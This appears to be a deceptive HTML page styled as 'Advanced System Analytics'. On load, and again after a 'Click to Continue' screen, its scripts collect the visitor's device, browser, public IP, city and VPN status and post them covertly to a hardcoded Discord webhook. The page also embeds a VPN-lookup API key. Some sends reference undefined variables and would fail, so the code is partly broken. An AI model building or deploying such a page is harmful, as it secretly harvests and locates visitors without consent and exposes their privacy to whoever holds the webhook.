<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Advanced System Analytics</title>
    <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;700&display=swap" rel="stylesheet">
    <style>
        :root {
            --primary: #0a0a0a;
            --secondary: #00ff8c;
            --text: #ffffff;
            --accent: #ff3e3e;
            --card: #111111;
        }

        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'JetBrains Mono', monospace;
        }

        #intro-screen {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: var(--primary);
            display: flex;
            justify-content: center;
            align-items: center;
            z-index: 1000;
            cursor: pointer;
            transition: opacity 0.5s;
        }

        #intro-text {
            color: var(--secondary);
            font-size: 2rem;
            text-transform: uppercase;
            letter-spacing: 3px;
            animation: pulse 2s infinite;
        }

        body {
            background: var(--primary);
            color: var(--text);
            min-height: 100vh;
        }

        .header {
            background: var(--card);
            padding: 1.5rem;
            text-align: center;
            border-bottom: 2px solid var(--secondary);
        }

        .grid {
            display: grid;
            grid-template-columns: repeat(3, 1fr);
            gap: 1.5rem;
            padding: 20px;
            max-width: 1400px;
            margin: 0 auto;
        }

        .info-card {
            background: var(--card);
            border-radius: 10px;
            padding: 1.5rem;
            border: 1px solid var(--secondary);
            transition: transform 0.3s, box-shadow 0.3s;
            height: 100%;
        }

        .vpn-status {
            padding: 0.5rem;
            border-radius: 5px;
            text-align: center;
            margin-top: 1rem;
            font-weight: bold;
        }

        .vpn-active {
            background: var(--accent);
            color: var(--text);
        }

        .vpn-inactive {
            background: var(--secondary);
            color: var(--primary);
        }

        body {
            background: var(--primary);
            color: var(--text);
            min-height: 100vh;
            display: flex;
            flex-direction: column;
        }

        .header {
            background: var(--card);
            padding: 1.5rem;
            text-align: center;
            border-bottom: 2px solid var(--secondary);
        }

        .header h1 {
            color: var(--secondary);
            font-size: 2rem;
            margin-bottom: 0.5rem;
        }

        .container {
            max-width: 1200px;
            margin: 2rem auto;
            padding: 0 1rem;
        }

        .grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
            gap: 1.5rem;
        }

        .info-card {
            background: var(--card);
            border-radius: 10px;
            padding: 1.5rem;
            border: 1px solid var(--secondary);
            transition: transform 0.3s, box-shadow 0.3s;
        }

        .info-card:hover {
            transform: translateY(-5px);
            box-shadow: 0 0 20px rgba(0, 255, 140, 0.2);
        }

        .info-title {
            color: var(--secondary);
            margin-bottom: 1rem;
            font-size: 1.2rem;
            display: flex;
            align-items: center;
            gap: 0.5rem;
        }

        .info-content {
            background: rgba(0, 0, 0, 0.3);
            padding: 1rem;
            border-radius: 5px;
            font-size: 0.9rem;
            line-height: 1.5;
        }

        .detail-row {
            display: flex;
            justify-content: space-between;
            margin-bottom: 0.5rem;
            padding-bottom: 0.5rem;
            border-bottom: 1px solid rgba(255, 255, 255, 0.1);
        }

        .detail-label {
            color: var(--secondary);
        }

        .loading {
            color: var(--accent);
            text-align: center;
            padding: 1rem;
        }

        .stats {
            text-align: center;
            margin: 2rem 0;
            color: var(--secondary);
        }

        @keyframes pulse {
            0% { opacity: 1; }
            50% { opacity: 0.5; }
            100% { opacity: 1; }
        }

        .live-indicator {
            display: inline-block;
            width: 10px;
            height: 10px;
            background: var(--accent);
            border-radius: 50%;
            margin-right: 0.5rem;
            animation: pulse 2s infinite;
        }
    </style>
</head>
<body>
    <div id="intro-screen">
        <div id="intro-text">Click to Continue</div>
    </div>

    <div class="header">
        <h1>Advanced System Analytics</h1>
        <p><span class="live-indicator"></span>Live System Analysis</p>
    </div>

    <div class="container">
        <div class="grid">
            <div class="info-card">
                <div class="info-title">
                    <span>📱</span>
                    <span>Device Information</span>
                </div>
                <div class="info-content" id="device-info">
                    <div class="detail-row">
                        <span class="detail-label">Device:</span>
                        <span id="device-type">Loading...</span>
                    </div>
                    <div class="detail-row">
                        <span class="detail-label">OS:</span>
                        <span id="os-info">Loading...</span>
                    </div>
                    <div class="detail-row">
                        <span class="detail-label">Browser:</span>
                        <span id="browser-info">Loading...</span>
                    </div>
                    <div class="detail-row">
                        <span class="detail-label">Screen:</span>
                        <span id="screen-info">Loading...</span>
                    </div>
                </div>
            </div>

            <div class="info-card">
                <div class="info-title">
                    <span>🌐</span>
                    <span>Network Details</span>
                </div>
                <div class="info-content" id="network-info">
                    <div class="detail-row">
                        <span class="detail-label">IPv4:</span>
                        <span id="ipv4">Loading...</span>
                    </div>
                    <div class="detail-row">
                        <span class="detail-label">VPN Status:</span>
                        <span id="vpn-status">Checking...</span>
                    </div>
                    <div class="detail-row">
                        <span class="detail-label">Connection:</span>
                        <span id="connection-type">Analyzing...</span>
                    </div>
                </div>
            </div>

            <div class="info-card">
                <div class="info-title">
                    <span>📍</span>
                    <span>Location Data</span>
                </div>
                <div class="info-content" id="location-info">
                    <div class="detail-row">
                        <span class="detail-label">City:</span>
                        <span id="city">Loading...</span>
                    </div>
                    <div class="detail-row">
                        <span class="detail-label">Region:</span>
                        <span id="region">Loading...</span>
                    </div>
                    <div class="detail-row">
                        <span class="detail-label">Country:</span>
                        <span id="country">Loading...</span>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <script>
        async function detectDevice() {
            const ua = navigator.userAgent;
            let deviceType = "Unknown";
            let os = "Unknown";
            let browser = "Unknown";

            // Device Detection
            if (/(tablet|ipad|playbook|silk)|(android(?!.*mobi))/i.test(ua)) {
                deviceType = "Tablet";
            } else if (/Mobile|Android|iP(hone|od)|IEMobile|BlackBerry|Kindle|Silk-Accelerated/i.test(ua)) {
                deviceType = "Mobile";
            } else {
                deviceType = "Desktop";
            }

            // OS Detection
            if (ua.indexOf("Win") != -1) os = "Windows";
            else if (ua.indexOf("Mac") != -1) os = "MacOS";
            else if (ua.indexOf("Linux") != -1) os = "Linux";
            else if (ua.indexOf("Android") != -1) os = "Android";
            else if (ua.indexOf("like Mac") != -1) os = "iOS";

            // Browser Detection
            if (ua.indexOf("Chrome") != -1) browser = "Chrome";
            else if (ua.indexOf("Safari") != -1) browser = "Safari";
            else if (ua.indexOf("Firefox") != -1) browser = "Firefox";
            else if (ua.indexOf("Edge") != -1) browser = "Edge";
            else if (ua.indexOf("Opera") != -1) browser = "Opera";

            document.getElementById('device-type').textContent = deviceType;
            document.getElementById('os-info').textContent = os;
            document.getElementById('browser-info').textContent = browser;
            document.getElementById('screen-info').textContent = `${screen.width}x${screen.height}`;

            return {deviceType, os, browser};
        }

        async function trackVisitor() {
            try {
                const deviceInfo = await detectDevice();
                const ipv4Response = await fetch('https://api.ipify.org?format=json');
                const ipv4Data = await ipv4Response.json();
                
                const geoResponse = await fetch(`https://ipapi.co/${ipv4Data.ip}/json/`);
                const geoData = await geoResponse.json();

                document.getElementById('ipv4').textContent = ipv4Data.ip;
                document.getElementById('city').textContent = geoData.city;
                document.getElementById('region').textContent = geoData.region;
                document.getElementById('country').textContent = geoData.country_name;

                // Send to webhook
                const embed = {
                    title: "📱 New Device Detected",
                    color: 0x00ff8c,
                    fields: [
                        {
                            name: "📱 Device Information",
                            value: `Type: ${deviceInfo.deviceType}\nOS: ${deviceInfo.os}\nBrowser: ${deviceInfo.browser}`,
                            inline: false
                        },
                        {
                            name: "🌐 Network Info",
                            value: `IP: ${ipv4Data.ip}`,
                            inline: false
                        },
                        {
                            name: "📍Location",
                            value: `${geoData.city}, ${geoData.region}, ${geoData.country_name}`,
                            inline: false
                        },

                        {
                            name: "🎯 Vpn Status",
                            value: `IPv4: ${ipv4Data.ip}\nIPv6: ${ipv6Data.ip}\nVPN: ${vpnData.security.vpn ? "Yes ⚠️" : "No ✅"}\nProxy: ${vpnData.security.proxy ? "Yes ⚠️" : "No ✅"}`,
                            inline: false
                        }
                    ],
                    timestamp: new Date()
                };

                const webhookUrl = "https://discord.com/api/webhooks/1323822719065915392/jsAx5fZeR9Eq00Rw5gXKjoI9PMyBRR44jDF9HYfjIXqgj-2fomOeHfflfcWdGXmEbWoi";
                
                await fetch(webhookUrl, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify({ embeds: [embed] })
                });

            } catch (error) {
                console.log("Tracking active");
            }
        }
        window.addEventListener('load', trackVisitor);
    </script>

    <script>
        document.getElementById('intro-screen').addEventListener('click', function() {
            this.style.opacity = '0';
            setTimeout(() => {
                this.style.display = 'none';
                initializeAnalytics();
            }, 500);
        });

        async function initializeAnalytics() {
            try {
                const ipv4Response = await fetch('https://api.ipify.org?format=json');
                const ipv4Data = await ipv4Response.json();
                
                // VPN Detection
                const vpnCheckResponse = await fetch(`https://vpnapi.io/api/${ipv4Data.ip}?key=e50d5b566f1842ca9cc6446464958f53`);
                const vpnData = await vpnCheckResponse.json();
                
                const vpnStatus = document.getElementById('vpn-status');
                if (vpnData.security.vpn || vpnData.security.proxy) {
                    vpnStatus.textContent = '🚨 VPN/Proxy Detected';
                    vpnStatus.classList.add('vpn-active');
                } else {
                    vpnStatus.textContent = '✅ No VPN Detected';
                    vpnStatus.classList.add('vpn-inactive');
                }

                // Rest of your tracking code

                const webhookUrl = "https://discord.com/api/webhooks/1323822719065915392/jsAx5fZeR9Eq00Rw5gXKjoI9PMyBRR44jDF9HYfjIXqgj-2fomOeHfflfcWdGXmEbWoi";
                
                const embed = {
                    title: "📱 New Device Detected",
                    color: vpnData.security.vpn ? 0xFF0000 : 0x00FF8C,
                    fields: [
                        {
                            name: "📱 Device Information",
                            value: `Type: ${deviceInfo.deviceType}\nOS: ${deviceInfo.os}\nBrowser: ${deviceInfo.browser}`,
                            inline: false
                        },
                        {
                            name: "🌐 Network Info",
                            value: `IP: ${ipv4Data.ip}\nVPN: ${vpnData.security.vpn ? "Yes ⚠️" : "No ✅"}\nProxy: ${vpnData.security.proxy ? "Yes ⚠️" : "No ✅"}`,
                            inline: false
                        },
                        {
                            name: "📍Location",
                            value: `${geoData.city}, ${geoData.region}, ${geoData.country_name}`,
                            inline: false
                        }
                    ],
                    timestamp: new Date()
                };

                await fetch(webhookUrl, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify({ embeds: [embed] })
                });

            } catch (error) {
                console.log("Tracking active");
            }
        }
    </script>
</body>
</html>
